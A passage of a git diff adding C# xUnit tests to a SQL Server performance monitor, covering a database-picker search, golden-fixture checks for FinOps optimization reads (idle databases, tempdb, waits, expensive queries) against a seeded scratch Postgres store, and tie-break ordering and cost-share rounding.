+    public void ACutList_SaysSo_AndAsksOnceWithTheNewestText_AfterThePause()
+    {
+        var run = Result.Value;
+        var cut = run.GetProperty("cut");
+        Assert.Equal(new[] { "Alpha", "Beta" }, Strings(cut.GetProperty("options")));
+        Assert.Equal(new[] { "The list stops at 2 databases, so more are not shown. Type part of a name to find it." }, Strings(cut.GetProperty("hint")));
+        Assert.Equal(1, cut.GetProperty("routeReads").GetInt32());
+
+        var search = run.GetProperty("cutSearch");
+        Assert.Equal(0, search.GetProperty("early").GetInt32());
+        Assert.Equal(new[] { "sale" }, Strings(search.GetProperty("searches")));
+        Assert.Equal(new[] { "SalesDb", "SalesEU" }, Strings(search.GetProperty("options")));
+        Assert.Equal(new[] { "" }, Strings(search.GetProperty("hint")));
+    }
+
+    [Fact]
+    public void ANamePastTheCut_IsMatchedFromTheSearchAnswer_AndAnEmptyBoxListsTheFirstPageAgain()
+    {
+        var run = Result.Value;
+        Assert.Equal(new[] { new[] { "SalesDb" } }, Reads(run.GetProperty("cutMatch").GetProperty("reads")));
+        Assert.Equal(new[] { "Alpha", "Beta" }, Strings(run.GetProperty("cutCleared").GetProperty("options")));
+    }
+
+    [Fact]
+    public void WhenTwoSearchesAreInFlight_TheNewestAnswerWins_EvenWhenTheOlderOneLandsLast()
+    {
+        var step = Result.Value.GetProperty("newestWins");
+        Assert.Equal(new[] { "a", "ab" }, Strings(step.GetProperty("searches")));
+        Assert.Equal(new[] { "Abacus" }, Strings(step.GetProperty("afterNewest")));
+        Assert.Equal(new[] { "Abacus" }, Strings(step.GetProperty("afterStale")));
+    }
+
+    /* Index Analysis shares the box, so it gets the stored spelling too (#5244 L8c). Its list still comes from its own read. */
+    [Fact]
+    public void IndexAnalysisSendsTheStoredSpelling_Too()
+    {
+        var step = Result.Value.GetProperty("indexAnalysis");
+        Assert.Equal(new[] { "SalesDb" }, Strings(step.GetProperty("database_name")));
+        Assert.Equal("SalesDb", step.GetProperty("shown").GetString());
+        Assert.Equal(new[] { "SalesDb", "Other" }, Strings(step.GetProperty("options")));
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsOptimizationGoldenLiveTests.cs b/Darling/Darling.Tests/FinOpsOptimizationGoldenLiveTests.cs
new file mode 100644
index 0000000000..9a6d5e4bae
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsOptimizationGoldenLiveTests.cs
@@ -0,0 +1,280 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Reflection;
+using System.Runtime.CompilerServices;
+using System.Text;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using PerformanceMonitor.Darling.Viewer;
+using Xunit;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// Golden-fixture pin for the four FinOps Optimization reads (<c>GetIdleDatabasesAsync</c>, <c>GetTempdbSummaryAsync</c>,
+/// <c>GetWaitCategorySummaryAsync</c> and <c>GetExpensiveQueriesAsync</c>). A deterministic seeded store is read and
+/// the results are serialized (declaration-order public properties, decimals at their stored scale, times as offsets from
+/// today's UTC midnight) and compared byte for byte with <c>Fixtures/FinOpsOptimization/golden.json</c>. Set
+/// <c>DARLING_WRITE_GOLDEN=1</c> to regenerate it.
+///
+/// <para>Server A holds: a size snapshot with an idle database that has no query rows at all (no last execution), an idle
+/// database whose only query rows are older than the window (no last execution inside the window, so it reads null), a busy database, a
+/// database whose rows are inside the window but ran nothing and last ran before the cutoff, and a system database;
+/// tempdb samples with a newer and an older-than-24-hours row; waits stored with and without the trailing space, in
+/// several categories with two categories tied on total time; and query rows that group into more statements than the
+/// top-N of 4, with a tie on CPU and one statement carrying a plan. Server B has no rows at all.</para>
+///
+/// <para>The tie order is the engine's: the reads sort only by the total. The test therefore compares the two tied pairs
+/// (Locks and Memory in the wait categories, Beta and Gamma in the expensive queries) as a set, ordering them itself.</para>
+/// </summary>
+public sealed class FinOpsOptimizationGoldenLiveTests
+{
+    internal const string ServerNameA = "darling-finops-opt-golden-a";
+    internal const string ServerNameB = "darling-finops-opt-golden-b";
+    internal static readonly int ServerIdA = ServerIdHelper.GetDeterministicHashCode(ServerNameA);
+    internal static readonly int ServerIdB = ServerIdHelper.GetDeterministicHashCode(ServerNameB);
+
+    [Fact]
+    public Task OptimizationReads_MatchGoldenFixture_ThroughTheViewer() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var viewer = new ViewerDataService(connectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB) })
+            {
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["idleDatabases"] = await viewer.GetIdleDatabasesAsync(id, 7, ct),
+                    ["tempdbSummary"] = await viewer.GetTempdbSummaryAsync(id, ct),
+                    ["waitCategories"] = TieStable(await viewer.GetWaitCategorySummaryAsync(id, 24, ct)),
+                    ["expensiveQueries"] = TieStable(await viewer.GetExpensiveQueriesAsync(id, 24, 4, ct)),
+                };
+            }
+            return Serialize(anchor, map);
+        });
+
+    [Fact]
+    public Task OptimizationReads_MatchGoldenFixture_ThroughTheStorageReaderAndRowMappers() =>
+        RunAsync(async (connectionString, anchor, ct) =>
+        {
+            await using var dataSource = NpgsqlDataSource.Create(connectionString);
+            var map = new Dictionary<string, object?>();
+            foreach (var (key, id) in new[] { ("a", ServerIdA), ("b", ServerIdB) })
+            {
+                var now = DateTime.UtcNow;
+                var (textCutoff, _) = RetentionTierRouter.ClampToTextHorizon(now, now.AddHours(-24));
+                map[key] = new Dictionary<string, object?>
+                {
+                    ["idleDatabases"] = (await DarlingFinOpsOptimizationReader.GetIdleDatabasesAsync(
+                        dataSource, id, DateTime.UtcNow.AddDays(-7), 30, ct)).ConvertAll(IdleDatabaseRow.From),
+                    ["tempdbSummary"] = (await DarlingFinOpsOptimizationReader.GetTempdbSummaryAsync(
+                        dataSource, id, DateTime.UtcNow.AddHours(-24), 30, ct)).ConvertAll(TempdbSummaryRow.From),
+                    ["waitCategories"] = TieStable((await DarlingFinOpsOptimizationReader.GetWaitCategorySummaryAsync(
+                        dataSource, id, DateTime.UtcNow.AddHours(-24), 30, ct)).ConvertAll(WaitCategorySummaryRow.From)),
+                    ["expensiveQueries"] = TieStable((await DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(
+                        dataSource, id, textCutoff, 4, 30, ct)).ConvertAll(ExpensiveQueryRow.From)),
+                };
+            }
+            return Serialize(anchor, map);
+        });
+
+    /* The tie order is the engine's (the reads sort only by the total), so tied rows are compared as a set: total desc,
+       then category ordinal. */
+    internal static List<WaitCategorySummaryRow> TieStable(List<WaitCategorySummaryRow> rows) =>
+        rows.OrderByDescending(r => r.TotalWaitTimeMs).ThenBy(r => r.Category, StringComparer.Ordinal).ToList();
+
+    /* Same for the expensive queries: total CPU desc, then database name ordinal (the row carries no query hash; each
+       seeded statement has its own database name). */
+    internal static List<ExpensiveQueryRow> TieStable(List<ExpensiveQueryRow> rows) =>
+        rows.OrderByDescending(r => r.TotalCpuMs).ThenBy(r => r.DatabaseName, StringComparer.Ordinal).ToList();
+
+    internal static async Task RunAsync(Func<string, DateTime, CancellationToken, Task<string>> read)
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString),
+            "Set DARLING_TEST_PG to a Postgres connection string to run the live FinOps optimization golden test.");
+
+        var ct = TestContext.Current.CancellationToken;
+        await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+        var anchor = DateTime.SpecifyKind(DateTime.UtcNow.Date, DateTimeKind.Unspecified);
+        await using (var connection = new NpgsqlConnection(scratch.ConnectionString))
+        {
+            await connection.OpenAsync(ct);
+            await PgMigrations.MigrateAsync(connection, ct);
+            await SeedAsync(connection, anchor, ct);
+        }
+
+        AssertGolden(await read(scratch.ConnectionString, anchor, ct));
+    }
+
+    private static async Task SeedAsync(NpgsqlConnection connection, DateTime anchor, CancellationToken ct)
+    {
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdA, ServerNameA, ct);
+        await DarlingMcpTestData.RegisterServerAsync(connection, ServerIdB, ServerNameB, ct);
+        var now = DarlingMcpTestData.Naive(DateTime.UtcNow);
+
+        /* Size snapshots: an older snapshot (ignored, the newest wins) and the latest one. Two files for IdleNoRows. */
+        foreach (var (db, size) in new[] { ("IdleNoRows", 100m), ("BusyAlpha", 100m), ("master", 10m) })
+            await Size(connection, ct, now.AddHours(-30), db, size);
+        await Size(connection, ct, now.AddHours(-3), "IdleNoRows", 500.25m);
+        await Size(connection, ct, now.AddHours(-3), "IdleNoRows", 250.5m);
+        await Size(connection, ct, now.AddHours(-3), "IdleOld", 1024m);
+        await Size(connection, ct, now.AddHours(-3), "IdleZero", 64m);
+        await Size(connection, ct, now.AddHours(-3), "BusyAlpha", 9999m);
+        await Size(connection, ct, now.AddHours(-3), "master", 5000m);
+
+        /* Activity. BusyAlpha ran inside the window. IdleOld's only rows are 8 days old (just outside 7), so it has no row in the
+           window and its last execution reads null. IdleZero has rows inside the window that ran nothing, and its last
+           execution is on the server-local clock, read verbatim. */
+        await Query(connection, ct, now.AddDays(-2), "BusyAlpha", "0xBH", "SELECT busy", 2_000_000, 12, 100, 60, anchor.AddDays(-1).AddHours(5), null);
+        await Query(connection, ct, now.AddDays(-8), "IdleOld", "0xOH", "SELECT old", 1_000_000, 4, 10, 60, anchor.AddDays(-8).AddHours(7).AddMinutes(30), null);
+        await Query(connection, ct, now.AddDays(-2), "IdleZero", "0xZH", "SELECT zero", 0, 0, 0, 60, anchor.AddDays(-9).AddHours(2), null);
+        /* A database is idle only where query stats cover 7 days: a sample on each complete UTC day and one at least 7 days old. */
+        await FinOpsIdleCoverageSeed.SeedAsync(connection, ct, ServerIdA, ServerNameA, now);
+
+        /* tempdb: the newest sample is the latest; the 30-hour-old sample is outside the peak window. */
+        await Tempdb(connection, ct, now.AddHours(-30), 9000m, 9000m, 9000m, 27000m);
+        await Tempdb(connection, ct, now.AddHours(-10), 1500.5m, 300m, 2500m, 4300.5m);
+        await Tempdb(connection, ct, now.AddHours(-1), 800m, 1200.25m, 100m, 2100.25m);
+
+        /* Waits. CXPACKET is stored with and without the trailing space and merges. CPU 2300, Storage 1000, Locks 700 and
+           Memory 700 tie, Other 100. A wait with no delta, and one with a zero delta, are dropped. */
+        await Wait(connection, ct, now.AddHours(-2), "CXPACKET", 1000, 10);
+        await Wait(connection, ct, now.AddHours(-3), "CXPACKET ", 500, 5);
+        await Wait(connection, ct, now.AddHours(-2), "SOS_SCHEDULER_YIELD", 800, 20);
+        await Wait(connection, ct, now.AddHours(-2), "PAGEIOLATCH_SH", 700, 7);
+        await Wait(connection, ct, now.AddHours(-2), "WRITELOG", 300, 3);
+        await Wait(connection, ct, now.AddHours(-2), "LCK_M_X", 700, 7);
+        await Wait(connection, ct, now.AddHours(-2), "RESOURCE_SEMAPHORE", 700, 9);
+        await Wait(connection, ct, now.AddHours(-2), "BROKER_TASK_STOP", 100, 1);
+        await Wait(connection, ct, now.AddHours(-2), "ZERO_WAIT", 0, 4);
+        await Wait(connection, ct, now.AddHours(-2), "NULL_WAIT", null, 4);
+        await Wait(connection, ct, now.AddHours(-30), "OUTSIDE_WAIT", 5000, 50);
+
+        /* Expensive queries: six statements, top-N 4 (Echo is cut by it). Two tie on CPU (Beta and Gamma, 4000 ms). One carries a plan, one has
+           a long text (Delta, 267 characters, so the 200-character preview cut shows), one has a zero sample interval and is dropped, and one has only a tiny CPU figure. */
+        await Query(connection, ct, now.AddHours(-2), "Alpha", "0xE1", "SELECT alpha", 9_000_000, 30, 1000, 60, null, "<ShowPlanXML />");
+        await Query(connection, ct, now.AddHours(-3), "Alpha", "0xE1", "SELECT alpha", 2_500_000, 7, 400, 60, null, null);
+        await Query(connection, ct, now.AddHours(-2), "Beta", "0xE2", "SELECT beta", 4_000_000, 8, 300, 60, null, null);
+        await Query(connection, ct, now.AddHours(-2), "Gamma", "0xE3", "SELECT gamma", 4_000_000, 8, 200, 60, null, null);
+        await Query(connection, ct, now.AddHours(-2), "Delta", "0xE4", "SELECT " + new string('d', 260), 3_000_000, 3, 50, 60, null, null);
+        await Query(connection, ct, now.AddHours(-2), "Echo", "0xE5", "SELECT echo", 1_000, 1, 1, 60, null, null);
+        await Query(connection, ct, now.AddHours(-2), "Foxtrot", "0xE6", "SELECT foxtrot", 99_000_000, 999, 9999, 0, null, null);
+    }
+
+    private static Task Size(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, decimal sizeMb) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            "INSERT INTO database_size_stats (collection_id, collection_time, server_id, server_name, database_name, total_size_mb) VALUES ($1, $2, $3, $4, $5, $6)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, sizeMb);
+
+    private static Task Query(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string handle, string text,
+        long cpuUs, long exec, long logical, int intervalSeconds, DateTime? lastExecution, string? planXml) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                query_text, delta_worker_time, delta_execution_count, delta_logical_reads, sample_interval_seconds,
+                last_execution_time, query_plan_xml)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, db, "0xQ" + handle, handle, text, cpuUs, exec, logical,
+            intervalSeconds, lastExecution, planXml);
+
+    private static Task Tempdb(NpgsqlConnection c, CancellationToken ct, DateTime at, decimal user, decimal internalObjects,
+        decimal versionStore, decimal total) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO tempdb_stats (collection_id, collection_time, server_id, server_name, user_object_reserved_mb,
+                internal_object_reserved_mb, version_store_reserved_mb, total_reserved_mb)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, user, internalObjects, versionStore, total);
+
+    private static Task Wait(NpgsqlConnection c, CancellationToken ct, DateTime at, string type, long? waitMs, long tasks) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO wait_stats (collection_id, collection_time, server_id, server_name, wait_type, delta_wait_time_ms, delta_waiting_tasks)
+              VALUES ($1,$2,$3,$4,$5,$6,$7)",
+            CollectionIdGenerator.Next(), at, ServerIdA, ServerNameA, type, waitMs, tasks);
+
+    /// <summary>Serializes the results as indented JSON: public settable properties in declaration order, decimals at their
+    /// stored scale, and every DateTime as an offset in days from <paramref name="anchor"/>.</summary>
+    internal static string Serialize(DateTime anchor, object results)
+    {
+        using var stream = new MemoryStream();
+        using (var writer = new Utf8JsonWriter(stream, new JsonWriterOptions { Indented = true, Encoder = System.Text.Encodings.Web.JavaScriptEncoder.UnsafeRelaxedJsonEscaping }))
+        {
+            WriteValue(writer, results, anchor);
+        }
+        return Encoding.UTF8.GetString(stream.ToArray()).ReplaceLineEndings("\n") + "\n";
+    }
+
+    private static void WriteValue(Utf8JsonWriter writer, object? value, DateTime anchor)
+    {
+        switch (value)
+        {
+            case null: writer.WriteNullValue(); break;
+            case string s: writer.WriteStringValue(s.ReplaceLineEndings("\n")); break;
+            case bool b: writer.WriteBooleanValue(b); break;
+            case int i: writer.WriteNumberValue(i); break;
+            case long l: writer.WriteNumberValue(l); break;
+            case decimal m: writer.WriteNumberValue(m); break;
+            case DateTime t:
+                var offset = t - anchor;
+                writer.WriteStringValue($"anchor{(offset < TimeSpan.Zero ? "-" : "+")}{Math.Abs(offset.TotalDays).ToString("0.######", System.Globalization.CultureInfo.InvariantCulture)}d");
+                break;
+            case System.Collections.IDictionary map:
+                writer.WriteStartObject();
+                foreach (System.Collections.DictionaryEntry entry in map)
+                {
+                    writer.WritePropertyName((string)entry.Key);
+                    WriteValue(writer, entry.Value, anchor);
+                }
+                writer.WriteEndObject();
+                break;
+            case System.Collections.IEnumerable list:
+                writer.WriteStartArray();
+                foreach (var item in list) WriteValue(writer, item, anchor);
+                writer.WriteEndArray();
+                break;
+            default:
+                writer.WriteStartObject();
+                foreach (var p in value.GetType().GetProperties(BindingFlags.Public | BindingFlags.Instance)
+                             .Where(p => p.SetMethod is { IsPublic: true })
+                             .OrderBy(p => p.MetadataToken))
+                {
+                    writer.WritePropertyName(p.Name);
+                    WriteValue(writer, p.GetValue(value), anchor);
+                }
+                writer.WriteEndObject();
+                break;
+        }
+    }
+
+    private static string GoldenSourcePath([CallerFilePath] string testFile = "") =>
+        Path.Combine(Path.GetDirectoryName(testFile)!, "Fixtures", "FinOpsOptimization", "golden.json");
+
+    private static void AssertGolden(string actual)
+    {
+        if (Environment.GetEnvironmentVariable("DARLING_WRITE_GOLDEN") == "1")
+        {
+            Directory.CreateDirectory(Path.GetDirectoryName(GoldenSourcePath())!);
+            File.WriteAllText(GoldenSourcePath(), actual);
+        }
+
+        var golden = File.ReadAllText(Path.Combine(AppContext.BaseDirectory, "Fixtures", "FinOpsOptimization", "golden.json"))
+            .ReplaceLineEndings("\n");
+        Assert.Equal(golden, actual);
+    }
+}
diff --git a/Darling/Darling.Tests/FinOpsOptimizationTieBreakTests.cs b/Darling/Darling.Tests/FinOpsOptimizationTieBreakTests.cs
new file mode 100644
index 0000000000..d787b4e8f9
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsOptimizationTieBreakTests.cs
@@ -0,0 +1,97 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+using static Darling.Tests.RepoFile;
+
+namespace Darling.Tests;
+
+/* #1776 own-store: the fixture seeds its own scratch database, so nothing here shares rows with another test. */
+/// <summary>
+/// The Optimization tab's most-expensive-queries read takes a top N by total CPU. Statements that tie on the total must
+/// not be cut by the engine's whim, so the order ends with every grouping key. Lite carries the same statement.
+/// </summary>
+[Trait("Reads", "Lite")]
+public sealed class FinOpsOptimizationTieBreakTests
+{
+    private const string TieBreak = "ORDER BY SUM(delta_worker_time) DESC, database_name, sql_handle, query_text";
+    private const string ServerName = "darling-finops-opt-tiebreak-a";
+    private static readonly int ServerId = ServerIdHelper.GetDeterministicHashCode(ServerName);
+
+    [Fact]
+    public void DarlingStatement_EndsItsOrderWithEveryGroupingKey()
+    {
+        var sql = DarlingFinOpsOptimizationReader.ExpensiveQueriesSql;
+        Assert.Contains("GROUP BY\n    database_name,\n    sql_handle,\n    query_text\n" + TieBreak + "\nLIMIT $3",
+            sql.ReplaceLineEndings("\n"), StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void LiteStatement_EndsItsOrderWithEveryGroupingKey()
+    {
+        var lite = ReadRepoFile("Lite", "Services", "LocalDataService.FinOps.Workload.cs").ReplaceLineEndings("\n");
+        var start = lite.IndexOf("GetExpensiveQueriesAsync(int serverId", StringComparison.Ordinal);
+        Assert.True(start >= 0);
+        var end = lite.IndexOf("LIMIT $3", start, StringComparison.Ordinal);
+        Assert.True(end > start);
+        var body = lite[start..end];
+        Assert.Contains("GROUP BY\n    database_name,\n    sql_handle,\n    query_text\n" + TieBreak + "\n", body, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public async Task TiedStatements_AtTheCut_SurviveInKeyOrder()
+    {
+        var baseConnectionString = Environment.GetEnvironmentVariable("DARLING_TEST_PG");
+        Assert.SkipWhen(string.IsNullOrEmpty(baseConnectionString), "Set DARLING_TEST_PG to run the live tie-break test.");
+        var ct = TestContext.Current.CancellationToken;
+        {
+            await using var scratch = await ScratchPostgres.CreateAsync(baseConnectionString!, ct);
+            await using (var c = new NpgsqlConnection(scratch.ConnectionString))
+            {
+                await c.OpenAsync(ct);
+                await PgMigrations.MigrateAsync(c, ct);
+                await DarlingMcpTestData.RegisterServerAsync(c, ServerId, ServerName, ct);
+
+                /* Fixed anchor, never the wall clock. Ten statements tie on total CPU; their key order (database, then
+                   handle) differs from their insert order, so a heap-order cut cannot pass by luck. */
+                var at = new DateTime(2026, 1, 15, 12, 0, 0, DateTimeKind.Unspecified);
+                foreach (var (db, handle) in new[]
+                         {
+                             ("dbD", "0xH4"), ("dbC", "0xH3"), ("dbH", "0xH8"), ("dbB", "0xH2"),
+                             ("dbG", "0xH7"), ("dbA", "0xH9"), ("dbF", "0xH6"), ("dbA", "0xH1"),
+                             ("dbE", "0xH5"), ("dbB", "0xH1"),
+                         })
+                    await Query(c, ct, at, db, handle, "SELECT " + handle);
+            }
+
+            await using var dataSource = NpgsqlDataSource.Create(scratch.ConnectionString);
+            var cutoff = new DateTime(2026, 1, 15, 0, 0, 0, DateTimeKind.Utc);
+            var rows = await DarlingFinOpsOptimizationReader.GetExpensiveQueriesAsync(dataSource, ServerId, cutoff, 2, 60, ct);
+
+            Assert.Equal(
+                new[] { ("dbA", "SELECT 0xH1"), ("dbA", "SELECT 0xH9") },
+                rows.Select(r => (r.DatabaseName, r.FullQueryText)).ToArray());
+        }
+    }
+
+    private static Task Query(NpgsqlConnection c, CancellationToken ct, DateTime at, string db, string handle, string text) =>
+        DarlingMcpTestData.ExecAsync(c, ct,
+            @"INSERT INTO query_stats (collection_id, collection_time, server_id, server_name, database_name, query_hash, sql_handle,
+                query_text, delta_worker_time, delta_execution_count, delta_logical_reads, sample_interval_seconds)
+              VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12)",
+            CollectionIdGenerator.Next(), at, ServerId, ServerName, db, "0xQ" + handle, handle, text, 5_000_000L, 4L, 100L, 60);
+}
diff --git a/Darling/Darling.Tests/FinOpsOptimizationViewTests.cs b/Darling/Darling.Tests/FinOpsOptimizationViewTests.cs
new file mode 100644
index 0000000000..a34716937b
--- /dev/null
+++ b/Darling/Darling.Tests/FinOpsOptimizationViewTests.cs
@@ -0,0 +1,564 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Globalization;
+using System.IO;
+using System.Linq;
+using System.Text.Json;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.AspNetCore.Builder;
+using Microsoft.AspNetCore.Http;
+using Microsoft.AspNetCore.TestHost;
+using Microsoft.Extensions.DependencyInjection;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using PerformanceMonitor.Collectors;
+using PerformanceMonitor.Common;
+using PerformanceMonitor.Darling.Service;
+using PerformanceMonitor.Darling.Service.Hosting;
+using PerformanceMonitor.Darling.Service.Mcp;
+using PerformanceMonitor.Darling.Storage;
+using PerformanceMonitor.Darling.Storage.FinOps;
+using Xunit;
+
+namespace Darling.Tests;
+
+public sealed class FinOpsOptimizationViewTests
+{
+    [Fact]
+    public void ServedHead_NamesTheView_AndStaysUnderTheTarget()
+    {
+        var served = McpToolGuideTests.Served("get_finops");
+        Assert.Contains("optimization:", served.Served, StringComparison.Ordinal);
+        Assert.True(served.Served.Length <= 620, $"served head is {served.Served.Length}");
+        Assert.True(DarlingMcpFinOpsTools.OptimizationViewLine.Length <= 80);
+    }
+
+    [Fact]
+    public void GuideTail_CarriesTheViewsKeyFacts()
+    {
+        var tail = McpToolGuideTests.Served("get_finops").Tail;
+        Assert.NotNull(tail);
+        Assert.Contains("window_days 7; hours_back does not move it", tail, StringComparison.Ordinal);
+        Assert.Contains("the monitored server's own clock, not UTC", tail, StringComparison.Ordinal);
+        Assert.Contains("printed yyyy-MM-ddTHH:mm:ss with no Z", tail, StringComparison.Ordinal);
+        Assert.Contains("ordered by total_size_mb descending then database_name", tail, StringComparison.Ordinal);
+        Assert.Contains("up to 500 rows with database_count and truncated", tail, StringComparison.Ordinal);
+        Assert.Contains("a fixed 24 hours (window_hours 24)", tail, StringComparison.Ordinal);
+        Assert.Contains("ordered by total_wait_time_ms descending then category", tail, StringComparison.Ordinal);
+        Assert.Contains("ordered by total_cpu_ms descending then database_name then query_preview", tail, StringComparison.Ordinal);
+        Assert.Contains("limit is the top-N here (1-50, default 10; the desktop shows 20)", tail, StringComparison.Ordinal);
+        Assert.Contains("which of several statements tied at the top-N cut is returned is the engine's choice", tail, StringComparison.Ordinal);
+        Assert.Contains("so for expensive_queries each row's share depends on limit", tail, StringComparison.Ordinal);
+        Assert.Contains("an attribution of the window's budget across the returned rows, not a measured cost", tail, StringComparison.Ordinal);
+        Assert.Contains("uses hours_back even when its rows start at the clamped effective_start", tail, StringComparison.Ordinal);
+        Assert.Contains("a mix of gated and empty sections returns the payload", tail, StringComparison.Ordinal);
+        Assert.Contains("rounded to 2 places", tail, StringComparison.Ordinal);
+        Assert.Contains("'monthly cost not set'", tail, StringComparison.Ordinal);
+        Assert.DoesNotContain("get_plan_xml", tail, StringComparison.Ordinal);
+        Assert.Contains("ordered by day ascending", tail, StringComparison.Ordinal);
+    }
+
+    [Fact]
+    public void ViewsAllowList_ContainsTheView() =>
+        Assert.Contains("optimization", DarlingMcpFinOpsTools.Views);
+
+    private static WaitCategorySummary Wait(string category, long total) => new(category, total, 1, 1m, "W", total);
+
+    private static ExpensiveQuery Query(string db, string preview, long cpu) =>
+        new(db, cpu, 1m, 1, 1m, 1, preview, preview, null);
+
+    [Fact]
+    public void OrderWaitCategories_BreaksATieByCategory_FromAReversedInput()
+    {
+        var expected = new[] { Wait("Cpu", 900), Wait("Locks", 700), Wait("Memory", 700), Wait("Other", 100) };
+        var ordered = DarlingMcpFinOpsTools.OrderWaitCategories(expected.Reverse());
+        Assert.Equal(new[] { "Cpu", "Locks", "Memory", "Other" }, ordered.Select(r => r.Category).ToArray());
+    }
+
+    [Fact]
+    public void OrderExpensiveQueries_BreaksTiesByDatabase_ThenByPreview_FromAReversedInput()
+    {
+        /* Alpha/zz and Beta/aa tie on CPU and differ by database (the preview order would reverse them); Gamma/aa and Gamma/bb tie on both. */
+        var expected = new[]
+        {
+            Query("AlphaDb", "zz", 5000), Query("BetaDb", "aa", 5000),
+            Query("GammaDb", "aa", 4000), Query("GammaDb", "bb", 4000),
+            Query("AlphaDb", "aa", 10),
+        };
+        var ordered = DarlingMcpFinOpsTools.OrderExpensiveQueries(expected.Reverse());
+        Assert.Equal(new[] { "AlphaDb/zz", "BetaDb/aa", "GammaDb/aa", "GammaDb/bb", "AlphaDb/aa" },
+            ordered.Select(r => r.DatabaseName + "/" + r.QueryPreview).ToArray());
+    }
+
+    [Fact]
+    public void OrderIdleDatabases_BreaksASizeTieByName_FromAReversedInput()
+    {
+        var expected = new[]
+        {
+            new IdleDatabase("Zeta", 900m, 1, null), new IdleDatabase("Alpha", 500m, 1, null), new IdleDatabase("Bravo", 500m, 1, null),
+        };
+        var ordered = DarlingMcpFinOpsTools.OrderIdleDatabases(expected.Reverse());
+        Assert.Equal(new[] { "Zeta", "Alpha", "Bravo" }, ordered.Select(r => r.DatabaseName).ToArray());
+    }
+
+    [Fact]
+    public void CostShare_IsTheDesktopsFigure_AgainstLiteralDollars()
+    {
+        /* 1000 a month over 24 hours is a 32.876712... budget: 9000 of 24000 is 12.33, 6000 is 8.22, 4000 is 5.48. */
+        Assert.Equal(12.33m, DarlingMcpFinOpsTools.OptimizationCostShare(9000, 24000, 1000m, 24));
+        Assert.Equal(8.22m, DarlingMcpFinOpsTools.OptimizationCostShare(6000, 24000, 1000m, 24));
+        Assert.Equal(5.48m, DarlingMcpFinOpsTools.OptimizationCostShare(4000, 24000, 1000m, 24));
+        /* A midpoint rounds away from zero: half of a 0.05 budget is 0.025, which is 0.03 (to even it would be 0.02). */
+        Assert.Equal(0.03m, DarlingMcpFinOpsTools.OptimizationCostShare(1, 2, 0.05m, 730));
+        /* No cost, a zero cost, or rows that total 0 give no figure. */
+        Assert.Null(DarlingMcpFinOpsTools.OptimizationCostShare(9000, 24000, 0m, 24));
+        Assert.Null(DarlingMcpFinOpsTools.OptimizationCostShare(0, 0, 1000m, 24));
+    }
+
+    [Fact]
+    public void WaitCategoryRows_CarryTheShareOfTheReturnedRows_AndNullWithoutACost()
+    {
+        var rows = new[] { Wait("Locks", 700), Wait("Cpu", 2300) };
+        var withCost = System.Text.Json.JsonSerializer.Serialize(DarlingMcpFinOpsTools.WaitCategoryRows(rows, 1000m, 24));
+        using (var doc = JsonDocument.Parse(withCost))
+        {
+            var first = doc.RootElement[0];
+            Assert.Equal("Cpu", first.GetProperty("category").GetString());
+            /* 2300 of 3000 of the 32.876712... budget. */
+            Assert.Equal(25.21m, first.GetProperty("est_cost_usd").GetDecimal());
+            Assert.Equal(7.67m, doc.RootElement[1].GetProperty("est_cost_usd").GetDecimal());
+        }
+        var noCost = System.Text.Json.JsonSerializer.Serialize(DarlingMcpFinOpsTools.WaitCategoryRows(rows, 0m, 24));
+        using (var doc = JsonDocument.Parse(noCost))
